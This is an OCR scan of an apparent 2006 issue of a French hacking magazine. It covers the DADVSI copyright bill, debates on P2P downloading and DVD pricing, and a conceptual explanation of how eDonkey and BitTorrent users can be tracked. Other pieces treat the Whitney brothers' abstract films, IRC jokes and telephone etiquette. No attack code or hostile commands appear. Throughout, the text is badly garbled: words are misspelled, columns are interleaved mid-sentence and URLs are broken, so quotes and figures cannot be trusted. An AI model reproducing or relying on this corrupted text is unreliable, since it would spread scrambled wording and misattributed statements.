domaine — Apple menace dailleurs déja
de boycotter la France.

Mais rien n'est acquis. Bien que le déebart
ait permis jusqu'a présent de formuler
de nombreux problemes souleves par ce
delicat projet de loi, tout peut encare
changer au Sénat, el I'UMP contraire-
ment 3 |'Assemblée, n'a pas la majerite
absclue.

: A suivre sur
que les debats :

hittp:/leucd.info,

http:ffforum . framasoft. org,
http://lestelechargements.fr,
http:flstopdrm.infal,
http://pasunblog.org/,
http:/iwww.ratiatum.com

Retrouvez le texte complet du projet de loi:
http:flsenat.frileq/pjl05-269. html



Dossier [clcchargements et drot d'auteur

Le periple parlementaire

Reverser le systéeme Iégislatif

Ilszgg't jff'ﬂigj"ﬂ;; - Le cheminement d'un projet de loi & travers le systéeme législatif

frangais est un rouage complexe mais fondamental de la
- République. Il est utile d'en connaitre les grandes lignes pour
- mieux comprendre le débat parlementaire.

Parlement, qui est com-
posé de deux chambres : le
Sénat et I'Assemnblée
Mationale. C'est lui qui discute

36

et vote les textes de loi déposés Légende EUCD

par le gouvernement (projet ; Gouvernement

de loi) ou plus rarement par: | =% :;::;Lné Q

des parlementaires (proposition

de loi). Avant dentrer en: | — f:ir:;: 4?

application, le texte doit étre : Projet de loi DADVSI «<— Ministére de la Culture
accepté par les deux chambres er : | = =~ Influences

promulgue par le Président de : -

la Republique.

f

{urgence, recommandatio ns}

La discussion du texte a lieu Opinion publique | [Parlenent - :
successivement dans les deux o T L':’ ) -1 Industrie
chambres. Pour chaque article : e X _ = = = Yobying}

du texte, des amendemnents f{ﬂu-:t-umt}' = Assemblée Nationale [<

deposes par les députés sont : — '!F"tg . -
débattus et votés. Chaque PR A } o LIMF 63 %
article ainsi rectifié est égale- | [ ——— ] P5: 26 B
ment vote. Puis le texte com- : UDF: 5.2 %
plet est voté en bloc avant : CR: 3.8 %

d' étre transmis a I"autre cham- :
bre, qui fera de méme. Et ainsi :

P5: 29.3 % >
; . e {EUCD Mnfo)
;':h:* El.rlte._":ette @ navette par- ; UDE: 10 o 4
"y
ementaire » se  poursuit : CR: 6.9 % FSF

jusqu'a ce que 'une des chambres
finisse par adopter le texte :

_ | Comm. mixte parit.
transmis par lautre sans:
modification. /
Le gouvernement peut cependant :

interrompre ce cycle au bout :
de deux « lectures » dans :
chaque chambre, en conve-
quant une commission pari-
taire, formée de septs dépurés :
de :

du  Senat sept
I'Assemblée et chargée de

| o

mis — qui doit finalement é&cre

ores. Lorsque le gouverne-

ment prononce ['urgence

pour un projet de loi, comme :
c'est le cas pour DADVSI, Ia :

UMP: 46.8 %

Compasition Sénat

¥ " Compositian AN

"

{compatible ?}

COMMISSIonN

lecture.

: En dernier recours, le conseil
accepte par les deux cham- : constitutionnel peut étre saisi
: afin de vérifier la compatibilité :
: du nouveau texte avec la
CONSGILtoN, qui prévaut toujours
: dans un etat de droit.

Consell Constitutionnel = —

paritaire peut :
. étre convoqué des la premiére
Mettre au peint un compro- :

| | ,"fapras vobe Sénat + AN)

== 3w

Loi

FPOUR :

UMP : 286
CONTRE :

promulgation

UMP : 7 ;50C ;138 ; UDF :
ABSTENSIONS :
UMP:14:5C: 1| ;UDF:4:CR:3

Président de la République

Yote du projet de loi DADYSI & I'Asremblée :

24 :CR : |18 : Non inscrits : &




Est-ce le P2P qui dévalorise la culture ?

Positions
ambigues

Rappelez-vous.
C'etait en 2002.
Deavant | | millions

TFl propulse la
jeune  Nolwenn

Fabien Kerbouci

deuxiems album la jeune chanteuse aura

principaux téléchargeurs. On peut taxer :
le consommateur d'étre paradoxal. Il

commerciam ° :
- cruel manque d'information, a de véritables questions
- sans réponses, les éditeurs réagissent afin de protéger

de téléspectateurs

- entre consommateurs et éditeurs... Mais voila. Avec
- I'exaspération montante, aujourd’hui, les langues se

Leroy au rang de : deélient

célébrivé. Avec un premier disque d'or :
puis un double disque d'er pour son :

- Entre 2005 et 2006 la vente de DVD baisse de 10%.

: ! t-ce la faute aux téléchar-
et paradoxes Dans quelles proportions est-c

gements illegaux ? Nul ne sait le chiffrer. Face a un

leurs intéréts. Le débat parait alors faussement se jouer

I,

|
| % '
(Y
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n'empéche. Cermins producteurs sont @ S

ggalement funambules sur le fil de l'am-

biguite,

Sous une méme marque Sony produit
aujourd'hui simultanément des albums de
musique, des CD vierges et des graveurs.
Curieux systéme ou le producteur de
supports de stockage touche des recertes

pour les taxes qu'il paye sur ses produits.
Philippe Remion, chef de produit et des

ventes de graveurs chez Sony France :
nuance la position. Le graveur serait sur-
tout strictcement considere comme un
outil de sauvegarde. || précise: « nous
. ou des grands distributeurs occulte totaberment
© la visibilité de Sony sur lusage final du matériel
. Laxisme marketing ou bien stratégie pour
' nous expliquer que le constructeur garde
. les mains propres 1 Nous n'en saurons pas
a des professionnels lorsqu'il s'agit d'en-
treprises. Notre visibilité est trés réduite

n'avons pas de visibilivé sur I'usage defini-
if qui sera fait du matériel ». Pas de visibilité,
mais peut-etre une idéee ! Pas vraiment
o Mous passons par des grossistes pour
vendre le matériel, ou bien directement

», concede Rémion.

Autrement dit le passage du preduit par

un grossiste, puis, de 4, vers des boutiquiers

plus.
Aujourd’hui, si Sony ne tient effective-
ment aucun discours incitant au

stockage de donnees téléchargées sur
CD, sa position pourrait-étre amenée 3

PR
TRAY. FW» LJ."r 'l._.a;‘f-f._.f LiF§ :
vendu prés de 300.000 albums dans i
I'hexagone. Qu'est-ce qui caractérise ses
principaux admirateurs ! La tranche :
d'ige ciblée entre |2 er 25 ans. Clest sur :
ce méme critere que l'on retrouvera les :

L ::I I'\-_.-'I !_.'LI I'-- _.-"II'-\._.-" L

evoluer a plus ou moins leng terme.
Desormais les producteurs se lancent

. eux-memes sur les plates-formes de
- télechargement legal:Video On Diemand,
: titres disponibles a l'unité, produits sous
: DRM et échantillons gratuits... Les idées
‘ ne manguent plus. Au départ effrayes a
lidée de la dematerialisation des produits
- les éditeurs n'ont investi que tardivement
. le terrain du numérique.
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Dossier ¢

Finalement, ils concédent.
Mais tout n'est pas joue

Il serait faux de dire qu'aujourd’hui les
producteurs n'ont pas su écouter le
message des INernautes meécontents.
Structures de diffusion archaiques, prix
eleves... Les industries ont fini par s'adap-
Ler.

Avec au moins trois ans de retard ces
derniéres se lancent enfin dans le com-
merce en ligne. 5i [l'avant-gardiste
MNapster ou le plus récent i-Tunes ne
sont pas des plates-formes accouchées
par des majors il n'en va pas de méme
pour les plus récentes ou i venir, telle
celle de Warner Bros a travers sa filiale
InZMovies.

Les producteurs et éditeurs se sont
retrouves en situation de concurrence
face a des technologies libres et gratuites
et doivent maintenant s'adapter, jouer le
jeu et s'adapter au marché. Un libéral se
rejouirait de ce darwinisme économigue...
si routefois la concurrence reste loyale.

LDrans ce jeu concurrentiel la cause de |a
baisse des prix et le peu de cas que sem-
blent faire les internautes de la valeur
des oeuvres 3 disposition est imputable 4
des facteurs peu évoques dans le debar
actuel. La constestation et la facilité ne
sont pas seules responsables.

Renaud Delourme, directeur des edi-
tions Montparnasse, édite aujourd'hui
des DVD doeuvres culturelles. Il ne
représente pas ceux que l'on catégorise
parmis les “majors”. Il est du camp des
petits editeurs indépendants, de ceux qui
sont, in facto, les plus fragilises par les
réseaux de téléchargement illégaux, Pour
tout dire il ne se sent pas méme
concerne par la taxe sur les supports de
stockage : il n'en profite pas.

Deleurme évaque surtout la mauvaise
communication des metiers du cinéma
et le manque d'information qu'a le public
sur les conséquences que peut avoir le
téléchargement illégal lorsque ce sont
des oeuvres fragiles et peu marketés qui
peuvent rapidement ne plus devenir ren-
tables. Contre les idées regues il expli-
que que « limage d'une chaine de pro-
duction cinéma réalisant un film qui
apparait au final comme un flouage du
consommateur est fausse », rappelant
alors que 90% du générique d'un film
porte les noms des intermitcents du
spectacle qui y ont contribue.

Renoud Delourme est directeur
des Editions Montparnasse dont
l'octivité se concentre autour de
['édition de DVD cubturels
nttp://'www.editionsmont-
parnasse.fr

3
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“Le consommateur est

pris pour un con”

Condamnant cette tendance qui
consiste a se réapproprier la valeur
d'une ceuvre, il en reste clairveyant sur
les causes : « les distributeurs jouent un
role important dans ce processus en
dépréciant la valeur des produits qu'ils
vendent ». Il dénonce alors les « rota-
tions acceélérées de produits, le manque
dinformations dispensée par des
conseillers-vendeurs en rayonnage, le
peu de mise en valeur du fond du pre-
duit... ». Il s'agirait véritablement « d'un
nivellement par le bas des stratégies de
vente en grande surface ».

Il est vrai qu'aujourd'hui les DVD se zappent
en rayon comme a I'écran. Les opérations
Carrefour de DVD 4 | eurc n'aident
sirement pas le consommateur a avoir
une haute estime de ce qu'il acquiert,
Cette démarche du « plaisir 3 moindre
prix » ressemble étrangement i celle
que vehiculent les résaux d'échanges
P2P..

Paradoxalement certaines grandes surfa-
ces comme la FMNAC vendent
aujourd’hui un jeu vidéo tel “Half-Life 2"
au prix de 50 euros cantre 23.5 euros 3
travers la plate-forme de téléchargement
steam. Interrogé sur le role du prix
quappliquent les grands distributeurs

aux produits qu'ils  cataloguent,
Delourme ne s'y trempe pas : « je pourrais
me plaindre des marges que Carrefour
realise sur la vente de mes produits. Je
reste toutefois prudent sur mes criti-
ques. En arriére-plan le colit de fenction-

nement de distributeur est complexe ».

Aussi complexe soit-il, sa simplification
souhaitée par le consommateur i tra-
vers, noamment, le developpement de
plates-formes d'achat en ligne permer,
evidemment, de réduire les colts de la
vente et donc du produit pour l'ache-
teur. Mais la logique economique s'im-
pose d'elle-méme : dans un tel processus
de vente toutes les réductions de colts
riment avec la suppression des emplois
intermédiaires... L'argument est a double
tranchant.

Grimes et chatiments

En parallele aux nouvelles campagnes de
sensibilisation et d'information il semble
nécessaire pour les producteurs et édi-
teurs de reétablir I'aquité cammerciale de
cette situation de concurrence déloyale.
Piste majeure : la répression.

Emmanuel Pierrat, avocat specialise dans
le droit de la proprieté intellectuelle,
demande aux partisans du « tout répressif »
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Emmannuel Pierrat est avocat a la cour, spécialisé dans le droit de la propriété intellectuelle. :
Auteur de "La guerre des Copyrights” (Ed. Fayard) il sest notamment illustré dans l'affaire

"leboycottdanone”.

d'étre « réalistes ». Citoyen défenseur du
libre, du copyleft et de l'open source,

repressifs absurdes et juridiquement
inapplicables. D'aprés lui « la copie privee,
méme illégale, est indispensable a [l'ex-
pansion de la culture si elle est réalisée a
titre non lucratif et sans abus_ 5i abus il y
a, des poursuites sont justifiees ».

parait aujourd'hui bien difficile de “fli-
quer” chaque internaute, d'autant plus
que les fournisseurs d'accés a Internet
sont trés réserves sur la question. La
position officiclle de Wanadoo : « nous
n'agissons que sur demande de |'autorité
judiciaire lorsque I'on nous demande des
informations sur un abonne ».

Quoi qu'il en soit toute répression passe

dabord par l'accumulation d'informa-
tions sur les habitudes d'un internaute,
sur les fichiers qu'il telecharge et met a
disposition, etc. Or un contexte juridi-
gue plus offensif inciterait les internautes
i développer des technologies de partage
plus defensives, surtout plus discretes
(chiffrage, anonymart, etc.). A voulair
gagner sur tous les tableaux les majors
pourraient finalement perdre toute visi-

pilité sur les mouvances des telécharge- *
ments. Ces informations statistiques ne

EONL pas seulement interessantes com-

mercialement, mais également parce que,
grice 4 elles, on tente de repartir a pew

. prés équitablement les recettes des
| taxes percues sur les supports vierges.
prenant alternativement partie pour les :
deux camps il stigmatise les systémes : :
- Egalement avocate, Laurence Tellier-
. Laniewski donne son point de vue sur la :
. loi DADVSI en débar au Sénat : « de nom-
. breux points soulevés n'ont pas donné
' lieu a une réflexion suffisante et sem-
blent-étre decides sous la pression ».
Techniguement les doutes sont posés. |l ;

Ce pourrait bientot ne plus étre le cas.

. De son caté Pierrat aimerait gue 'on
. recentre la réflexion autour de solutions
. plus raisonnables: « depuis 10 ans 'appa-
. reil répressif n'arrive pas i contenir la :
copie des oeuvres, d'autant plus qu'avec :

les messages de sensibilisation d'au-

- jourd’hui le consommateur est pris pour :
Cun con ».

Interrogé pour d'éventuelles pistes alter- :
* natives, il liche : « le conseil superieur de
. la proprieté littéraire et artistique se
. contente depuis quatre ans de pondre
. un rapport annuel. Il faut le remettre au
. travail ! Exiger la remise de rapports, par
- exemple semestriels, afin que I'on puisse :
- faire regulierement des bilans et adapter
- des propositions réfléchies #, Ce ne sant
. effectivement pas les pistes qui font

. défaur.
Fabien KERBOUCI,
jeurnaliste-pigiste

el conseiller en strmtegie des entreprises dons fes MTIC

last minute

L]

Les debats du stenat viennent o peine de com-
mencer @ I'hevre oo nous bouclons ce
numéro. Le Ministre Donnedieu de Vobres o
repondu, dés le debut de la seéance, aux nom-
breuses interrogations soulevées de tous
bords depuis le vote de ["Assemblée. En pre-
mier lieu, il o volu offirmer so volonté de ne
pas empigter sur les libertés du public el des
créateurs : « Il imporfe d"abord de meftre en
voleur les pewvres : 'outeur peut déja mettre
gratuitement les siennes sur lnlernet : un
registre des oevvres disponibles sera créé -
essentie/ pour fe peer fe peer- comme une
plate-forme privée pour les jeunes créateurs -
comme celle du Centre national des varigtés.
le droit & copie privée est garonfi, pour
l'usage personnel, distinet de lo copie génd
rofe. » Il s'est ensvile odressé @ Apple ef
Microsoft, qui ont manifesté de nombreuses
craintes ces dernires semaines, en rappelant
que « ['interapérabilité ne favorise pas le pira-
tage ». Lo France est en effet le premier Pays
d'Eurape @ avoir le cournge de soulever cette
question importante pour |'avenir de noire
patrimeine, 6 loguelle sera confronté « /'an-
semble des Efats », a-Hl prédit. Le Ministre,
gui pourtant avait émis un ovis défavorable
envers l'orficle 7, o affirmé que « lo profection
des mesures techniques de profection impli
que de pouvair fire sur tout support l'oeuvre
achetée ». Il o également suggéré un solufion
d lo problématique soulevée por 'identifica-
fion des délinguants en fonction de leur
odresse IP, en montrant son intérét pour
I'amendement 103, proposé par MM. Longuet
et Dufauli, qui consiste & "responsabiliser le
titulaire de I'obonnement”. Autrement dit, il
s'agiro plus que jomais pour les internoutes
d'apprendre @ séeuriser leur connexion WiFi
notamment.L'opposition lo plus morqueée
jusqu'a présent ne vient pos forcément du
groupe socialiste, qui semble portogé sur cer-
tnins points, mais du non-inscrit B. Retailleou,
qui concluait : « Le pair-d-pair ? Vewt-on infer-
dire une technique o cause de ses possibles
wsages illicites ? ['excaption culturelle 7 Je
suis d'avis de o consolider : ce droit doif éire
sanctuarisé. Un éguilibre o été trouve, n'y fou-
chons gue d'une main tremblonte. 5
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Dossier Téléchargements -

Des statistiquers qui devraient intéresser les majors

Peut-on vraiment savoir ce qui se passe sur les
- reseaux de peer-to-peer ? Le webmaster de p2p-
- top50.com, qui donne les statistiques journaliéeres

Les principes
Tous les programmes
modernes d'échange
de fichiers en peer-
to-peer suivent le
méme  principe.
Les fichiers sont
déecoupes en petits
bouts de taille fixe
{ex : IMo pour
bittarent, Mo
pour edonkey). Ces petits bouts sont les
'unités d'échange’ entre participants du
réseau. Télécharger un fichier consiste a
trouver ces petits bouts chez dautres
utilisateurs, les télecharger puis les re-
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assembler. A chaque fois que l'un d'eux
est obtenu, son intégrité est vérifiée et il
est mis a disposition sur le réseau. Ainsi,
chaque utilisateur est a la fois recepteur
et emetteur.

Pour que tout cela s'arganise, le logiciel
utilise doit etre capable d'effectuer diffé-
rentes taches de communication :
Pour la réception :
Trouver des utilisateurs mettant a dis-
position au moins une partie du fichier
qui nous intéresse,
Les contacter, voir si ils ont des parties
qui nous manguent et si c'est le cas
leur demander de nous les envoyer.
Pour 'émission :
Donner la liste des parties dant on
dispose i qui la demande.
Envoyer ces parties a ceux qui en font
la requete,

Chaque protocole implémente ces fonc-
tions d'une maniere différente mais tous
suivent ce principe.

L'ohservation

Plagons nous du cote d'un observateur
qui désire savoir ce qu'il se passe sur le
réseau. Deux types d'information peu-
vent lintéresser :

- des fichiers les plus téléchargés sur emule, nous

- eclaire sur cette question technique et délicate.

Chart generated Mon 01 May 2006 (updated everyday)

a) Les statistiques globales

Ce sont celles auxquelles je m'intéresse
personnellement. Elles répondent & des
questions du type « quels sont les
fichiers les plus présents sur tel réseau »
Ou encore « Comment se propage un
fichier donné ? A combien d'exemplaires !
A quelle vitesse ! Dans quelles zones
geéographiques 7 ... »

Classer des fichiers par popularite n'est
pas forcément aisé, cela est trés depen-
dant du réseau. Par exemple, bittorent
est extremement décentralisé. Un méme
fichier peut &tre échangé sur dix sous
réseaux difféerents sans qu'aucun d'entre
eux n'ait de lien avec les autres. Pour
faire des statistiques globales, il faudrait
connaitre tous les sous réseaux, ce qui
n'est pas possible dans la pratique.

Position Filename Size Nb Sources

(complete)

1 12 Asterin. b les. Vikings FRENCH.CAM R EBPACK 1 CT 005 Mb | 1&401(10810)
2 459 Tha :-'-ll-‘l 2006 Freanch Ts Xyid-Cinefox-MEamp: C 593.2 Mb 156 55i1|:|:54|
3 4z SCarie movie 4.avi §93.1Mb | 14E18(9157)
d Lbiia Les Bronzes. I &mis, Pour.La ¥ie Frendh Dedser.... 959 & Mh 14711[114T8)
S 4oz La.Doublure FRENCH.CAMREPACK 1CD.EVID-COBRA. H9E .9 Wb 1479754 28)
6 di127 HEW End Garme Franchk Limiited Dvdrip ¥wid-CALavi F9E.08 Mb 11348(8078)
F bizs Ik Age. The, Malldown FRENCH. TS vl -CineVideo .4 Mb B535( 7326}
g las L& Blocks FRENCH.TS XV iD REPACK 1CD-WSS avi 0d.T Mb BZ00{5539)
9 455 | Jean . Philippe FRENCH. TS XVID-MaTADDHNE-Wauay 2 BB0.& Mb TTI0(4%E0)
10 427 i Bob Sinclar - Warld Hald -'.|.|'- (Radis)i.mpd 4.5 Mb T4IF(TIAT)

- Cependant, l'intérét méme du réseau est

de ne pas éure trop fragmenté. Cela per-
met de trouver de nombreuses sources et
augrmente |a probabilite de peuveir trou-
ver tous les bouts du fichier (s'il en man-
que un seul, le fichier est inutilisable). Ainsi,
on voit emerger des solutions qui tendent
a agréger les sous réseaux (exeem, certai-
nes fonctions d'azureus, ...) et qui
devraient permettre a terme de simplifier
la collecte d'infarmations globales.

. Bittorent est un cas extréme de décentra-

lisation. Je me suis beaucoup penché sur
emule/edonkey, et ce réseau est beaucoup
plus simple a étudier. En effer, il est possible
de demander des informations globales
directement aux serveurs qui aiguillent le
trafic (du type combien d'utilisateurs par-
tagent tel ou tel fichier), cela fait partie
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intégrante du protocole car cette informa-

d'avoir des statistiques globales qui per-
mettent de classer les fichiers par popula-
rité et d'étudier la dynamique de propaga-
tion d'un fichier donne.

b) Surveillance des téléchargements
Un autre type de surveillance, beaucoup
plus sensible, consiste a descendre au
niveau de lindividu. On se demande

le premier ?

Ce sont des questions auxquelles il est
extrémement simple de répandre. En
effet, elles correspondent i trouver des
sources, cc que tout logiciel p2p dait
faire pour pouvoir fonctionner, Il est
donc en général tres simple d'utliser les
partias du protocole remplissant cette

. fonction et de s’en servir pour balayer le
tion est utile pour le client Ainsi, il est aisé :

protacal) ou via Kad qui a éré développe
© expressement dans cette optique.

Avec ces outlls, si I'an s'y prend suffisam-
: ment tét, il est tout 3 fait possible de
alors par exemple qui télécharge tel ou :
tel fichier. Ou de maniére encore plus :
précise, qui a mis ce fichier a disposition :

réseau a la recherche de personnes :

: entrain de le télécharger (ou partageant).
: Pour edonkey par exemple, on peut

sources elles-mémes (sources-exchange

réseau et on trouve unc personne qui

est la seule a avoir le fichier complet (sur
- edonkey cela dure un ou deux jours,
- regardez le début de la courbe).
: Enfin, et pour conclure, je ticns'a attirer
: votre attention sur le fait que tous les pro-
. tocoles plp implémentent une maniére
- dlidentifier sans ambiguité chaque client
{ex : client hash pour edonkey et méme
secure user id dans les extensions emule).

. formations

. Cela est nécessaire car pour preserver

I'intégrité de ces réseaux, il faut absolu-
ment éviter qu'un client puisse se faire

- passer pour un autre. L3 encore, une

fonctionnalité bénéfique pour le reseau
(et inévitable @ mon avis) est trés utile

: pour la surveillance. MNe croyez pas que
: cacher votre ip est suffisant pour garantir
. votre anonymat ...

- La riposte mesurée ?

" Dans le monde sur la lutte cantre le
piratage, une question un peu plus com-
: plexe se pose. C'est celle de repérer les
: « gros télechargeurs ». Techniquement,
. rien ne s'y oppose. 5i 'on peut comme
nous I'avons vu, faire la liste des person-

nes qui teléechargent un fichier, alers on
peut stocker cette information pour un

: grand nombre de fichiers protégés puis,
: par recoupement, repérer ceux qui en

ont télecharges le plus. Dans la pratique,

c'est loin d"étre aussi simple. Il existe une

multitude de réseaux, chaque jour sur
chaque réseau s'échange des téraoctets.

: Comment collecter, stocker puis inter-
. demander des sources aux serveurs, aux :

roger les quantités phénomeénales d'in-
que cela représente i
Comment suivre pour chague inter-

: naute chague fichier téléchargé ? i n'y a
. pas d'obstacles technigues au niveau des
protocoles, mais l'investissernent neces-
repérer le ‘releaseur’, on parcours le

saire pour construire un tel systeme est
important et rien de dic qu'il aura I'effet
souhaite.

Sebasto
A lire :
http:/iwww.cs.huji.ac.illlabs/
danssipresentations/emule.pdf
http:'www.cs.rice.edu/
Conferences/IPTPS02/109.pdf

(Kad)
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Les fréeres Whitney quittérent leur Californie natale pour I’Europe
en 1937. John (1917-1995), vint a Paris étudier la musique dodé-
caphonique et James (1921-1982), se rendit a Londres pour étudier
les arts plastiques. En 1939, ils durent regagner Los Angeles a
cause de la guerre. Avant leur départ pour I’Europe, John avait
déja filmé en 8mm une éclipse solaire avec un télescope qu’il avait
fabrigue lui-méme. Mais c’est la vision des films abstraits de I'allemand
Oskar Fischinger en 1940 qui fut le véritable déclic.

62

By Captain Cavern

ischinger etait l'un des
Fpimnniers de la synésthé-
sie  cinématographique.
On pouvait méme lire au

genérique de I'un de ses films -
« You ear what you see, you see

what you eor » (vous entendez
C& que VOUS VOYEeZ, Vous voyez
ce que vous entendez). II avait
réussi a créer des sons i par-
" de formes péométriques
qu'll avait peintes lui-méme et
collees sur la partie sonore de
la pellicule. Ses films éwient de
veritables symphonies visuel-
les, d'étonnantes chorégra-
phies abstraites ol les formes
géométriques bougeaient et
se transformaient en parfaite
harmonie avec la musique.
Mais les fréres Whitney furent
decus. lIs décidérent de radi-
caliser de
Fischinger grice i un appareil
inventé par John Whitney qui
permettait pour la premiere
fois de créer simultanément
des images et des sons. || en

les recherches

resulta Five Abstract Film
Exercices (1942-1945)

« La bande sonore est entiére-
ment synthétigue et réalisée
mécaniguement par ['assemblage
simultane de douze pendules de
tailles différentes reliés au moyen
d'un fin fil d'acier & la piste opti-
que. La troce optique résulte du
déplacement des pendules
devant un foisceau lumineux pro-
duisant une trace variable sur la
piste optique, Les pendules peu-
vent étre commandés ensemble
ou séparément. Lo fréquence de
chacun d'entre eux peut Etre
gjustee ou accordée pour étre uti-
lisée dans n'importe quelie
echelle existonte en agjustont le
glissement des poids. Le choix de
la lengueur des pendules et le
controle de la vitesse « de défile-
ment » permet de produire et
d'enregistrer la totalité des fré-
quences audio. Il n'est pas de
sons actuels qui permettent de
générer des ondes sonores 4 la

maniére des pendules, et ce

Image du film Lopis {1 963-1966) de James Whitney, durée 10 mn

John Whitney Sr filmant son animation sur léeran dun ordinateur
pendant s résidence d'artiste chez [BM

jusqu'd produire des fréquences
infra sonigues. Seulement lorsque
le film est projeté a une vitesse
reguliére, le son est produit De
cette fagon, [image et le son sont
en méme temps, infiniment varig-
bles et controlables, et la technique
évoluant permet d'unifier appro-
che et les potentiolités de ce
meédium ». Leon Becker, Synthetic
Sound and Abstract Image,
Haollywood Quarterty, 1945,

Les premiers spectateurs des
Five Abstroct Film Exercices
crurent voir des films extra-
terrestres. Les sons et les
images ne ressemblaient a
rien de connu. On eétait pro-
jeteé dans une autre dimen-
sion.

MPar la suite, les deux fréres
suivirent chacun leur propre
chemin tout en restant com-
plementaires.

Image du film Lopis de James Whitney
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Générique de Saul Bass et John Whitney 5r pour le film Vertige d'Alfred Hitchcock

James, apprenant que son travail gra-
phigue pour l'armee pendant la
ceconde guerre mondiale avait contribué
i la création de la bombe atomique,
en fur profondement choque et se
comnvertit au bouddhisme. Il revint au
cinéma dans les annees 50. Ses films
sont de wéritables mandalas animes,
souvent illustres par de la musique
indienne, puissamment psychedeli-
ques, ancétres de 'imagerie des raves.
_!r;;-|'|r|, Ui, passionné par I'ir'1‘fr:-r‘r'r‘|:!.'l:iql.IE
alors 4 ses débuts, utilisa, dés la fin des
années 40, des radars ayant servi a la
lutte antiaérienne pendant la seconde
guerre mondiale pour produire ses
images. Son approche fur a la fois
théorigue et technologique. Il a ecrit
de nombreux articles et un livre,
Digital Harmony on the Complementary
of Music and Visual Art, | 280,

En 1958, il collabara avec le graphiste
Saul Bass au génériqgue de Vertigo
d'Alfred Hitchcock. Les formes geo-
métriques qui 5y deéploient, ancétres
de la 3D, sont un bel exemple de son
utilisation des radars. A partir de ces
machines de guerre maodifiees pour le
cinerma, il concut un ordinateur analogique
de trois meétre cinquante de haut avec
lequel il travailla plusieurs années. || fut
en résidence chez IBM entre |966 et
1969. Son film Permutations (1 966) fut
entierement realise a partir du moni-
teur noir et blanc d'un systeme d'or-
dinateurs IBM 360, IBM 2250 Display,
écrit en GRAF et FORTRAN. La couleur
fut ajoutée ulterieurement image par

IMage.

A parur de 1986, il collabora avec
lerry Reed 4 la création du Whitne
Reed RDTD {Radius-Differential Thetc
Differential), un programme permet- i U S St o s au Sl
tent de composer simultanement de

[image et du son.

Les films des freres Whitney sont peu

nombreux, mais ils sont un jalon fen-

damental dans |'histoire de [art elec-

tronique et informatique.

Captain Cavern
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Ecrivez-novrs : voice@thehackademy.net

Ce mois-ci, pas de courrier mais des BDs !

rmund

C’est <vous> qui le dites...

{ 2 4]

<SmoK> ‘g8t un lapin
qui s'appelle carotte.
il s'est bouffé

<SmuE> ca marche avec
plein d*animaux
<EmuE> saucisse le chien

<EmukK>» wiskas le chat
<8muF> banane le singe

<Pifouille> gmuk la&
cornichon

Clad ne pense pas qu'au C...

Les conventions sociales au service
de nos limites cognitives

Lorsque nous contactons gquelgu'un par
téléphone nous respectons trés souvent
une convention. Cette convention fixe
un protocole de comportement dans
linitiation du dialague : une fois en ligne,
avant d'expliquer la raison de |'appel,
Nous Nous présentons a notre interlocu-
teur, nous le saluons, nous prencns de
ses nouvelles, etc.

Cet acte banal, se pratiquant i ['identique

» Appel a textes : n'hésitez pos d conlar-
ter lo réduction (dvrasp@ithehockodemy.net)
si vous voulez foire poraiire un arficle fechnique
de qualilé |quel que soit le niveau), si vous
désirez participer 0 une enquéte sur un sujet
en rapport aver ln sécurité informatique et le

hacking, ou si vous voulez nous faire part de
votre analyse de 'actualite.

o Que les fons du CPCNG se rossurent, lo
rubrique sera de retour prochainement,

» Donnez votre ovis sur lo nouvelle maquette :

- dans tous les pays, a une dimension cul-

turelle : le fait de joindre quelqu'un par
telephene implique au préalable d'une
relation sociale complexe (celle du diale-

- gue autour d'un sujet précis) quelgues

formalités simples exprimées par le lan-
gage. |l s'agit de préparer l'autre "en dou-
ceur’ aux efforts qu'il va devoir fournir
pour honorer votre appel (étre tout sim-
plement mentalement disponible pour
votre requéte).

Texte : bashfr.org

Mous voila avec une vision plus précise
de cette convention d'appel. Une ébau-

: che qui ne répond toutefois pas a la
: question : qu'est-ce qui justifie que nous
: ayons adepté un tel protocole prépara-
: toire ! Simple : notre cerveau n'est béte-
: ment pas
. Appeler quelgu'un est un acte bruml. Il
. s'agit de brutalité dans l'action, dans I'évé-
: nement

assez "performant”.

> un coup de telephone inter-

: rompt brusquement votre correspondant
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dans ses activites. Ce trouble de courte
durée suffic a distraire 'espric et a inter-
rompre tout type de reflexion. juste avant
de décrocher, donc, notre esprit est per-
turbe : ses moteurs logiques ont été inter-
rompus et doivent mettre en place un
nouveau contexte (se préparer a decro-
cher, 2 répondre, etc.). Ce trouble peut-
étre encore plus marqué selon les activites
de linstant, comme par exemple étre en
reunion. Si interlocuteur venait en plus a
créer un second trouble en abordant imme-
diatement un sujet partculier, sans meme
vous saluer, cela vous obligerait a reactiver,
brusquement et simultanément, des sche-
mas neurclogiques complexes (souvenirs a
court terme, remise dautrui dans le
contexte actuel, analyse du ton de la voix
sur linstant, etc.). Les ressources cognitives
nécessaires sont multiples et de réles variés.
Ces différentes ressources sont plus ou
moins rapidement et efficacement dispo-
nibles selon nos aptitudes cognitives
naturelles et notre etat physique (la fati-
gue, I'état de stress, |2 dépression, etc ). |l
arrive que le chec de basculements de
contexte successifs provoque plus ou

o
+. G489 Leonardo da Vinci

o
evEnements

moins une reéaction sentimentale
trouble des

conforte une forme dirritation. Votre

resultant

interlocuteur pourrait vous reprendre
sechement sur votre "impalitesse”.

-

Aol

R,

Y= 1 200
1 1A 1 ".r J

munaute

Car l'irritation est ici un signal dalarme
égoiste sactivant lorsque notre confort
mental est malmene. Cette situation
nous la connaissons bien dans nos vies.
C'est pourquei nous adoptons une
convention culturelle unique et standar-
disee. Elle s'ajuste i des critéres sociaux
et moraux et prend des formes simples.
Il faut creire, d'ailleurs, gque si nous ['ap-
pliguons si instinctivement, parfois
inconsciemment, c'est que notre esprit
privilégie l'intégration d'un protocole
d'amorgage, s'exprimant par le langage,
sur dautres solutions d'adaptation.

Ajnsi les formules de politesse ont-elles
pour but daider I'esprit & mobiliser ses
ressources en douceur @ en amaortissant
les chocs les troubles peuvent etre regu-
les. Ce sont ainsi les qualités fonctionnel-
les de l'esprit souffrant de solliciations
inadaptées a sa structure qui sent la cause
de sentiments spontanés dirritation ou
de plaisir se traduisant ensuite en faits
sociaux. De la méme maniére de nom-
breuses technigues dhumour consistent
a prendre l'esprit a contre-pied. Clest
d'allleurs bien souvent ainsi que vous ten-
terez de wous sortir de I'embarras si l'on
vous reprend sur votre spontangite.

Clad Strife




The HACKADEMY

§'engage pour la baisse du prix des magazines informatiques

Nous avons décidé d'offrir a nos lecteurs la possibilité d'acquérir nos magazines a prix fortement réduit.
The Hackademy Magazine peut ainsi étre acheté pour 4,5 euros (au lieu de 5,9 euros,
soit 1,4 euros d'économie sur chaque numéro !)

Comment en profiter ?

